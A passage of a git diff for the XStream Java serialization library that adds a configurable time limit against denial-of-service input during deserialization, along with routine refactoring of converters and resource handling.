addImmutableTypeDynamically("java.time.ZoneRegion", false); - addImmutableTypeDynamically("java.time.chrono.HijrahChronology", false); - addImmutableTypeDynamically("java.time.chrono.HijrahDate", false); - addImmutableTypeDynamically("java.time.chrono.IsoChronology", false); - addImmutableTypeDynamically("java.time.chrono.JapaneseChronology", false); - addImmutableTypeDynamically("java.time.chrono.JapaneseDate", false); - addImmutableTypeDynamically("java.time.chrono.JapaneseEra", false); - addImmutableTypeDynamically("java.time.chrono.MinguoChronology", false); - addImmutableTypeDynamically("java.time.chrono.MinguoDate", false); - addImmutableTypeDynamically("java.time.chrono.ThaiBuddhistChronology", false); - addImmutableTypeDynamically("java.time.chrono.ThaiBuddhistDate", false); - addImmutableTypeDynamically("java.time.temporal.IsoFields$Field", false); - addImmutableTypeDynamically("java.time.temporal.IsoFields$Unit", false); - addImmutableTypeDynamically("java.time.temporal.JulianFields$Field", false); - } + addImmutableType(Duration.class, false); + addImmutableType(Instant.class, false); + addImmutableType(LocalDate.class, false); + addImmutableType(LocalDateTime.class, false); + addImmutableType(LocalTime.class, false); + addImmutableType(MonthDay.class, false); + addImmutableType(OffsetDateTime.class, false); + addImmutableType(OffsetTime.class, false); + addImmutableType(Period.class, false); + addImmutableType(Year.class, false); + addImmutableType(YearMonth.class, false); + addImmutableType(ZonedDateTime.class, false); + addImmutableType(ZoneId.class, false); + addImmutableType(ZoneOffset.class, false); + addImmutableTypeDynamically("java.time.ZoneRegion", false); + addImmutableType(HijrahChronology.class, false); + addImmutableType(HijrahDate.class, false); + addImmutableType(IsoChronology.class, false); + addImmutableType(JapaneseChronology.class, false); + addImmutableType(JapaneseDate.class, false); + addImmutableType(JapaneseEra.class, false); + addImmutableType(MinguoChronology.class, false); + addImmutableType(MinguoDate.class, false); + addImmutableType(ThaiBuddhistChronology.class, false); + addImmutableType(ThaiBuddhistDate.class, false); + addImmutableTypeDynamically("java.time.temporal.IsoFields$Field", false); + addImmutableTypeDynamically("java.time.temporal.IsoFields$Unit", false); + addImmutableTypeDynamically("java.time.temporal.JulianFields$Field", false); + addImmutableType(OptionalDouble.class, false); + addImmutableType(OptionalInt.class, false); + addImmutableType(OptionalLong.class, false); } private void addImmutableTypeDynamically(final String className, final boolean isReferenceable) { @@ -1106,6 +1184,23 @@ public void setMarshallingStrategy(final MarshallingStrategy marshallingStrategy this.marshallingStrategy = marshallingStrategy; } + /** + * Set time limit for adding elements to collections or maps. + * + * Manipulated content may be used to create recursive hash code calculations or sort operations. An + * {@link InputManipulationException} is thrown, if the summed up time to add elements to collections or maps + * exceeds the provided limit. + * + * Note, that the time to add an individual element is calculated in seconds, not milliseconds. However, attacks + * typically use objects with exponential growing calculation times. + * + * @param maxSeconds limit in seconds or 0 to disable check + * @since 1.4.19 + */ + public void setCollectionUpdateLimit(final int maxSeconds) { + collectionUpdateLimit = maxSeconds; + } + /** * Serialize an object to a pretty-printed XML String. * @@ -1183,6 +1278,7 @@ public T fromXML(final String xml) { * * @throws XStreamException if the object cannot be deserialized */ + @SuppressWarnings("resource") public T fromXML(final Reader reader) { return unmarshal(hierarchicalStreamDriver.createReader(reader), null); } @@ -1192,6 +1288,7 @@ public T fromXML(final Reader reader) { * * @throws XStreamException if the object cannot be deserialized */ + @SuppressWarnings("resource") public T fromXML(final InputStream input) { return unmarshal(hierarchicalStreamDriver.createReader(input), null); } @@ -1236,6 +1333,7 @@ public T fromXML(final String xml, final T root) { * * @throws XStreamException if the object cannot be deserialized */ + @SuppressWarnings("resource") public T fromXML(final Reader xml, final T root) { return unmarshal(hierarchicalStreamDriver.createReader(xml), root); } @@ -1250,7 +1348,9 @@ public T fromXML(final Reader xml, final T root) { * @since 1.4 */ public T fromXML(final URL url, final T root) { - return unmarshal(hierarchicalStreamDriver.createReader(url), root); + try (HierarchicalStreamReader reader = hierarchicalStreamDriver.createReader(url)) { + return unmarshal(reader, root); + } } /** @@ -1263,11 +1363,8 @@ public T fromXML(final URL url, final T root) { * @since 1.4 */ public T fromXML(final File file, final T root) { - final HierarchicalStreamReader reader = hierarchicalStreamDriver.createReader(file); - try { + try (final HierarchicalStreamReader reader = hierarchicalStreamDriver.createReader(file)) { return unmarshal(reader, root); - } finally { - reader.close(); } } @@ -1278,6 +1375,7 @@ public T fromXML(final File file, final T root) { * * @throws XStreamException if the object cannot be deserialized */ + @SuppressWarnings("resource") public T fromXML(final InputStream input, final T root) { return unmarshal(hierarchicalStreamDriver.createReader(input), root); } @@ -1312,12 +1410,21 @@ public T unmarshal(final HierarchicalStreamReader reader, final T root) { * XStream shall create one lazily as needed. * @throws XStreamException if the object cannot be deserialized */ - public T unmarshal(final HierarchicalStreamReader reader, final T root, final DataHolder dataHolder) { + public T unmarshal(final HierarchicalStreamReader reader, final T root, DataHolder dataHolder) { try { + if (collectionUpdateLimit > 0) { + if (dataHolder == null) { + dataHolder = new MapBackedDataHolder(); + } + dataHolder.put(COLLECTION_UPDATE_LIMIT, Integer.valueOf(collectionUpdateLimit)); + dataHolder.put(COLLECTION_UPDATE_SECONDS, Integer.valueOf(0)); + } + @SuppressWarnings("unchecked") final T t = (T)marshallingStrategy.unmarshal(root, reader, dataHolder, converterLookup, mapper); return t; - + } catch (final StackOverflowError e) { + throw new InputManipulationException("Possible Denial of Service attack by Stack Overflow"); } catch (final ConversionException e) { final Package pkg = getClass().getPackage(); final String version = pkg != null ? pkg.getImplementationVersion() : null; @@ -1813,6 +1920,7 @@ public DataHolder newDataHolder() { * @see #createObjectInputStream(com.thoughtworks.xstream.io.HierarchicalStreamReader) * @since 1.0.3 */ + @SuppressWarnings("resource") public ObjectOutputStream createObjectOutputStream(final Writer writer) throws IOException { return createObjectOutputStream(hierarchicalStreamDriver.createWriter(writer), "object-stream"); } @@ -1839,6 +1947,7 @@ public ObjectOutputStream createObjectOutputStream(final HierarchicalStreamWrite * @see #createObjectInputStream(com.thoughtworks.xstream.io.HierarchicalStreamReader) * @since 1.0.3 */ + @SuppressWarnings("resource") public ObjectOutputStream createObjectOutputStream(final Writer writer, final String rootNodeName) throws IOException { return createObjectOutputStream(hierarchicalStreamDriver.createWriter(writer), rootNodeName); @@ -1855,6 +1964,7 @@ public ObjectOutputStream createObjectOutputStream(final Writer writer, final St * @see #createObjectInputStream(com.thoughtworks.xstream.io.HierarchicalStreamReader) * @since 1.3 */ + @SuppressWarnings("resource") public ObjectOutputStream createObjectOutputStream(final OutputStream out) throws IOException { return createObjectOutputStream(hierarchicalStreamDriver.createWriter(out), "object-stream"); } @@ -1866,6 +1976,7 @@ public ObjectOutputStream createObjectOutputStream(final OutputStream out) throw * @see #createObjectInputStream(com.thoughtworks.xstream.io.HierarchicalStreamReader) * @since 1.3 */ + @SuppressWarnings("resource") public ObjectOutputStream createObjectOutputStream(final OutputStream out, final String rootNodeName) throws IOException { return createObjectOutputStream(hierarchicalStreamDriver.createWriter(out), rootNodeName); @@ -1909,13 +2020,15 @@ public ObjectOutputStream createObjectOutputStream(final HierarchicalStreamWrite */ @SuppressWarnings("resource") public ObjectOutputStream createObjectOutputStream(final HierarchicalStreamWriter writer, final String rootNodeName, - final DataHolder dataHolder) throws IOException { + final DataHolder dataHolder) + throws IOException { + final DataHolder context = dataHolder != null ? dataHolder : new MapBackedDataHolder(); final StatefulWriter statefulWriter = new StatefulWriter(writer); statefulWriter.startNode(rootNodeName, null); - return new CustomObjectOutputStream(new CustomObjectOutputStream.StreamCallback() { + return new CustomObjectOutputStream(context, new CustomObjectOutputStream.StreamCallback() { @Override public void writeToStream(final Object object) { - marshal(object, statefulWriter, dataHolder); + marshal(object, statefulWriter, context); } @Override @@ -1950,6 +2063,7 @@ public void close() { * @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter, String) * @since 1.0.3 */ + @SuppressWarnings("resource") public ObjectInputStream createObjectInputStream(final Reader xmlReader) throws IOException { return createObjectInputStream(hierarchicalStreamDriver.createReader(xmlReader)); } @@ -1961,6 +2075,7 @@ public ObjectInputStream createObjectInputStream(final Reader xmlReader) throws * @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter, String) * @since 1.3 */ + @SuppressWarnings("resource") public ObjectInputStream createObjectInputStream(final InputStream in) throws IOException { return createObjectInputStream(hierarchicalStreamDriver.createReader(in)); } @@ -1993,8 +2108,16 @@ public ObjectInputStream createObjectInputStream(final HierarchicalStreamReader * @see #createObjectInputStream(com.thoughtworks.xstream.io.HierarchicalStreamReader) * @since 1.4.10 */ - public ObjectInputStream createObjectInputStream(final HierarchicalStreamReader reader, final DataHolder dataHolder) + public ObjectInputStream createObjectInputStream(final HierarchicalStreamReader reader, DataHolder dataHolder) throws IOException { + if (collectionUpdateLimit > 0) { + if (dataHolder == null) { + dataHolder = new MapBackedDataHolder(); + } + dataHolder.put(COLLECTION_UPDATE_LIMIT, Integer.valueOf(collectionUpdateLimit)); + dataHolder.put(COLLECTION_UPDATE_SECONDS, Integer.valueOf(0)); + } + final DataHolder dh = dataHolder; return new CustomObjectInputStream(new CustomObjectInputStream.StreamCallback() { @Override public Object readFromStream() throws EOFException { @@ -2002,7 +2125,7 @@ public Object readFromStream() throws EOFException { throw new EOFException(); } reader.moveDown(); - final Object result = unmarshal(reader, dataHolder); + final Object result = unmarshal(reader, null, dh); reader.moveUp(); return result; } diff --git a/xstream/src/java/com/thoughtworks/xstream/XStreamException.java b/xstream/src/java/com/thoughtworks/xstream/XStreamException.java index 1074d86de..c0ea7d251 100644 --- a/xstream/src/java/com/thoughtworks/xstream/XStreamException.java +++ b/xstream/src/java/com/thoughtworks/xstream/XStreamException.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2007, 2008, 2013, 2016 XStream Committers. + * Copyright (C) 2007, 2008, 2013, 2016, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -18,6 +18,7 @@ * @since 1.3 */ public class XStreamException extends RuntimeException { + private static final long serialVersionUID = 10400L; /** * Default constructor. diff --git a/xstream/src/java/com/thoughtworks/xstream/XStreamer.java b/xstream/src/java/com/thoughtworks/xstream/XStreamer.java index f5c99fd5a..64f12c21c 100644 --- a/xstream/src/java/com/thoughtworks/xstream/XStreamer.java +++ b/xstream/src/java/com/thoughtworks/xstream/XStreamer.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2006, 2007, 2014, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2016, 2019, 2020, 2022 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -30,11 +30,11 @@ import com.thoughtworks.xstream.converters.reflection.FieldKeySorter; import com.thoughtworks.xstream.converters.reflection.ReflectionProvider; import com.thoughtworks.xstream.core.JVM; +import com.thoughtworks.xstream.core.util.DefaultDriver; import com.thoughtworks.xstream.io.HierarchicalStreamDriver; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.StreamException; import com.thoughtworks.xstream.io.naming.NameCoder; -import com.thoughtworks.xstream.io.xml.XppDriver; import com.thoughtworks.xstream.mapper.Mapper; import com.thoughtworks.xstream.security.TypeHierarchyPermission; import com.thoughtworks.xstream.security.TypePermission; @@ -52,15 +52,22 @@ public class XStreamer { private final static TypePermission[] PERMISSIONS = { - new TypeHierarchyPermission(ConverterMatcher.class), new TypeHierarchyPermission(Mapper.class), - new TypeHierarchyPermission(XStream.class), new TypeHierarchyPermission(ReflectionProvider.class), - new TypeHierarchyPermission(JavaBeanProvider.class), new TypeHierarchyPermission(FieldKeySorter.class), - new TypeHierarchyPermission(ConverterLookup.class), new TypeHierarchyPermission(ConverterRegistry.class), - new TypeHierarchyPermission(HierarchicalStreamDriver.class), new TypeHierarchyPermission( - MarshallingStrategy.class), new TypeHierarchyPermission(MarshallingContext.class), - new TypeHierarchyPermission(UnmarshallingContext.class), new TypeHierarchyPermission(NameCoder.class), - new TypeHierarchyPermission(TypePermission.class), new WildcardTypePermission(JVM.class.getPackage().getName() - + ".**"), new TypeHierarchyPermission(DatatypeFactory.class) // required by DurationConverter + new TypeHierarchyPermission(ConverterMatcher.class), // + new TypeHierarchyPermission(Mapper.class), // + new TypeHierarchyPermission(XStream.class), // + new TypeHierarchyPermission(ReflectionProvider.class), // + new TypeHierarchyPermission(JavaBeanProvider.class), // + new TypeHierarchyPermission(FieldKeySorter.class), // + new TypeHierarchyPermission(ConverterLookup.class), // + new TypeHierarchyPermission(ConverterRegistry.class), // + new TypeHierarchyPermission(HierarchicalStreamDriver.class), // + new TypeHierarchyPermission(MarshallingStrategy.class), // + new TypeHierarchyPermission(MarshallingContext.class), // + new TypeHierarchyPermission(UnmarshallingContext.class), // + new TypeHierarchyPermission(NameCoder.class), // + new TypeHierarchyPermission(TypePermission.class), // + new WildcardTypePermission(true, JVM.class.getPackage().getName() + ".**"), // + new TypeHierarchyPermission(DatatypeFactory.class) // required by DurationConverter }; /** @@ -99,13 +106,10 @@ public String toXML(final XStream xstream, final Object obj) throws ObjectStream */ public void toXML(final XStream xstream, final Object obj, final Writer out) throws IOException { final XStream outer = new XStream(); - final ObjectOutputStream oos = outer.createObjectOutputStream(out); - try { + try (final ObjectOutputStream oos = outer.createObjectOutputStream(out)) { oos.writeObject(xstream); oos.flush(); xstream.toXML(obj, out); - } finally { - oos.close(); } } @@ -210,7 +214,7 @@ public T fromXML(final HierarchicalStreamDriver driver, final String xml, fi * @see #toXML(XStream, Object, Writer) */ public T fromXML(final Reader xml) throws IOException, ClassNotFoundException { - return fromXML(new XppDriver(), xml); + return fromXML(DefaultDriver.create(), xml); } /** @@ -227,7 +231,7 @@ public T fromXML(final Reader xml) throws IOException, ClassNotFoundExceptio */ public T fromXML(final Reader xml, final TypePermission... permissions) throws IOException, ClassNotFoundException { - return fromXML(new XppDriver(), xml, permissions); + return fromXML(DefaultDriver.create(), xml, permissions); } /** @@ -263,8 +267,7 @@ public T fromXML(final HierarchicalStreamDriver driver, final Reader xml, fi outer.addPermission(permission); } final HierarchicalStreamReader reader = driver.createReader(xml); - final ObjectInputStream configIn = outer.createObjectInputStream(reader); - try { + try (ObjectInputStream configIn = outer.createObjectInputStream(reader)) { final XStream configured = (XStream)configIn.readObject(); final ObjectInputStream in = configured.createObjectInputStream(reader); try { @@ -274,8 +277,6 @@ public T fromXML(final HierarchicalStreamDriver driver, final Reader xml, fi } finally { in.close(); } - } finally { - configIn.close(); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/basic/BigDecimalConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/basic/BigDecimalConverter.java index f464af6a5..a0338794c 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/basic/BigDecimalConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/basic/BigDecimalConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -23,7 +23,7 @@ public class BigDecimalConverter extends AbstractSingleValueConverter { @Override public boolean canConvert(final Class type) { - return type.equals(BigDecimal.class); + return type == BigDecimal.class; } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/basic/BigIntegerConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/basic/BigIntegerConverter.java index a27a1908c..c9972a826 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/basic/BigIntegerConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/basic/BigIntegerConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -23,7 +23,7 @@ public class BigIntegerConverter extends AbstractSingleValueConverter { @Override public boolean canConvert(final Class type) { - return type.equals(BigInteger.class); + return type == BigInteger.class; } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/basic/BooleanConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/basic/BooleanConverter.java index 93ff7e0b6..49c00a2ca 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/basic/BooleanConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/basic/BooleanConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2003, 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -20,9 +20,7 @@ public class BooleanConverter extends AbstractSingleValueConverter { public static final BooleanConverter TRUE_FALSE = new BooleanConverter("true", "false", false); - public static final BooleanConverter YES_NO = new BooleanConverter("yes", "no", false); - public static final BooleanConverter BINARY = new BooleanConverter("1", "0", true); private final String positive; @@ -49,7 +47,7 @@ public boolean shouldConvert(final Class type, final Object value) { @Override public boolean canConvert(final Class type) { - return type.equals(boolean.class) || type.equals(Boolean.class); + return type == boolean.class || type == Boolean.class; } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/basic/ByteConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/basic/ByteConverter.java index 4bf5ed9eb..2e5bdbd36 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/basic/ByteConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/basic/ByteConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2003, 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -21,7 +21,7 @@ public class ByteConverter extends AbstractSingleValueConverter { @Override public boolean canConvert(final Class type) { - return type.equals(byte.class) || type.equals(Byte.class); + return type == byte.class || type == Byte.class; } @Override @@ -30,7 +30,7 @@ public Object fromString(final String str) { if(value < Byte.MIN_VALUE || value > 0xFF) { throw new NumberFormatException("For input string: \"" + str + '"'); } - return new Byte((byte)value); + return Byte.valueOf((byte)value); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/basic/CharConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/basic/CharConverter.java index d2970e002..3868e73ab 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/basic/CharConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/basic/CharConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2003, 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2018, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -29,7 +29,7 @@ public class CharConverter implements Converter, SingleValueConverter { @Override public boolean canConvert(final Class type) { - return type.equals(char.class) || type.equals(Character.class); + return type == char.class || type == Character.class; } @Override @@ -42,7 +42,7 @@ public void marshal(final Object source, final HierarchicalStreamWriter writer, public Object unmarshal(final HierarchicalStreamReader reader, final UnmarshallingContext context) { final String nullAttribute = reader.getAttribute("null"); if (nullAttribute != null && nullAttribute.equals("true")) { - return new Character('\0'); + return Character.valueOf('\0'); } else { return fromString(reader.getValue()); } @@ -51,9 +51,9 @@ public Object unmarshal(final HierarchicalStreamReader reader, final Unmarshalli @Override public Object fromString(final String str) { if (str.length() == 0) { - return new Character('\0'); + return Character.valueOf('\0'); } else { - return new Character(str.charAt(0)); + return Character.valueOf(str.charAt(0)); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/basic/DateConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/basic/DateConverter.java index d516c7704..41cfc6834 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/basic/DateConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/basic/DateConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2003, 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2012, 2013, 2014, 2015, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2012, 2013, 2014, 2015, 2016, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -202,7 +202,7 @@ public DateConverter( @Override public boolean canConvert(final Class type) { - return type.equals(Date.class); + return type == Date.class; } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/basic/DoubleConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/basic/DoubleConverter.java index 5f77e5466..de2cbeb05 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/basic/DoubleConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/basic/DoubleConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2003, 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -20,7 +20,7 @@ public class DoubleConverter extends AbstractSingleValueConverter { @Override public boolean canConvert(final Class type) { - return type.equals(double.class) || type.equals(Double.class); + return type == double.class || type == Double.class; } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/basic/FloatConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/basic/FloatConverter.java index df33cac3e..a48c58f45 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/basic/FloatConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/basic/FloatConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2003, 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -20,7 +20,7 @@ public class FloatConverter extends AbstractSingleValueConverter { @Override public boolean canConvert(final Class type) { - return type.equals(float.class) || type.equals(Float.class); + return type == float.class || type == Float.class; } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/basic/IntConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/basic/IntConverter.java index a183a1e72..412a2bd2c 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/basic/IntConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/basic/IntConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2003, 2004 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -20,7 +20,7 @@ public class IntConverter extends AbstractSingleValueConverter { @Override public boolean canConvert(final Class type) { - return type.equals(int.class) || type.equals(Integer.class); + return type == int.class || type == Integer.class; } @Override @@ -29,7 +29,7 @@ public Object fromString(final String str) { if (value < Integer.MIN_VALUE || value > 0xFFFFFFFFl) { throw new NumberFormatException("For input string: \"" + str + '"'); } - return new Integer((int)value); + return Integer.valueOf((int)value); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/basic/LongConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/basic/LongConverter.java index 166106f01..e96ffab62 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/basic/LongConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/basic/LongConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2003, 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2013, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2013, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -20,7 +20,7 @@ public class LongConverter extends AbstractSingleValueConverter { @Override public boolean canConvert(final Class type) { - return type.equals(long.class) || type.equals(Long.class); + return type == long.class || type == Long.class; } @Override @@ -52,7 +52,7 @@ public Object fromString(final String str) { return Long.decode(str); } final long num = high | low; - return new Long(num); + return Long.valueOf(num); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/basic/NullConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/basic/NullConverter.java index 428d79a8e..59820f5ae 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/basic/NullConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/basic/NullConverter.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2003, 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2012, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2012, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 03. October 2003 by Joe Walnes */ package com.thoughtworks.xstream.converters.basic; @@ -14,7 +14,6 @@ import com.thoughtworks.xstream.converters.Converter; import com.thoughtworks.xstream.converters.MarshallingContext; import com.thoughtworks.xstream.converters.UnmarshallingContext; -import com.thoughtworks.xstream.io.ExtendedHierarchicalStreamWriterHelper; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; import com.thoughtworks.xstream.mapper.Mapper; @@ -22,7 +21,7 @@ /** * Special converter to signify nulls at the root level or in collection types. - * + * * @author Joe Walnes */ public class NullConverter implements Converter { @@ -34,7 +33,7 @@ public boolean canConvert(final Class type) { @Override public void marshal(final Object source, final HierarchicalStreamWriter writer, final MarshallingContext context) { - ExtendedHierarchicalStreamWriterHelper.startNode(writer, "null", Mapper.Null.class); + writer.startNode("null", Mapper.Null.class); writer.endNode(); } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/basic/ShortConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/basic/ShortConverter.java index d8fca804b..66034d6b9 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/basic/ShortConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/basic/ShortConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2003, 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -20,7 +20,7 @@ public class ShortConverter extends AbstractSingleValueConverter { @Override public boolean canConvert(final Class type) { - return type.equals(short.class) || type.equals(Short.class); + return type == short.class || type == Short.class; } @Override @@ -29,7 +29,7 @@ public Object fromString(final String str) { if (value < Short.MIN_VALUE || value > 0xFFFF) { throw new NumberFormatException("For input string: \"" + str + '"'); } - return new Short((short)value); + return Short.valueOf((short)value); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/basic/StringBufferConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/basic/StringBufferConverter.java index a69271ab9..f507156bc 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/basic/StringBufferConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/basic/StringBufferConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2003, 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -20,7 +20,7 @@ public class StringBufferConverter extends AbstractSingleValueConverter { @Override public boolean canConvert(final Class type) { - return type.equals(StringBuffer.class); + return type == StringBuffer.class; } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/basic/StringBuilderConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/basic/StringBuilderConverter.java index 48fc58d5e..ccfc21ca8 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/basic/StringBuilderConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/basic/StringBuilderConverter.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2008, 2014 XStream Committers. + * Copyright (C) 2008, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -19,7 +19,7 @@ public class StringBuilderConverter extends AbstractSingleValueConverter { @Override public boolean canConvert(final Class type) { - return type.equals(StringBuilder.class); + return type == StringBuilder.class; } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/basic/StringConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/basic/StringConverter.java index 49f28289d..c830631cd 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/basic/StringConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/basic/StringConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2003, 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2011, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2011, 2014, 2015, 2018, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -80,22 +80,14 @@ public StringConverter() { @Override public boolean canConvert(final Class type) { - return type.equals(String.class); + return type == String.class; } @Override public Object fromString(final String str) { if (cache != null && str != null && (lengthLimit < 0 || str.length() <= lengthLimit)) { - String s = cache.get(str); - - if (s == null) { - // fill cache - cache.put(str, str); - - s = str; - } - - return s; + final String s = cache.putIfAbsent(str, str); // fill cache + return s == null ? str : s; } else { return str; } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/basic/URIConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/basic/URIConverter.java index 4108217f1..fa4b2378d 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/basic/URIConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/basic/URIConverter.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2010, 2014 XStream Committers. + * Copyright (C) 2010, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -25,7 +25,7 @@ public class URIConverter extends AbstractSingleValueConverter { @Override public boolean canConvert(final Class type) { - return 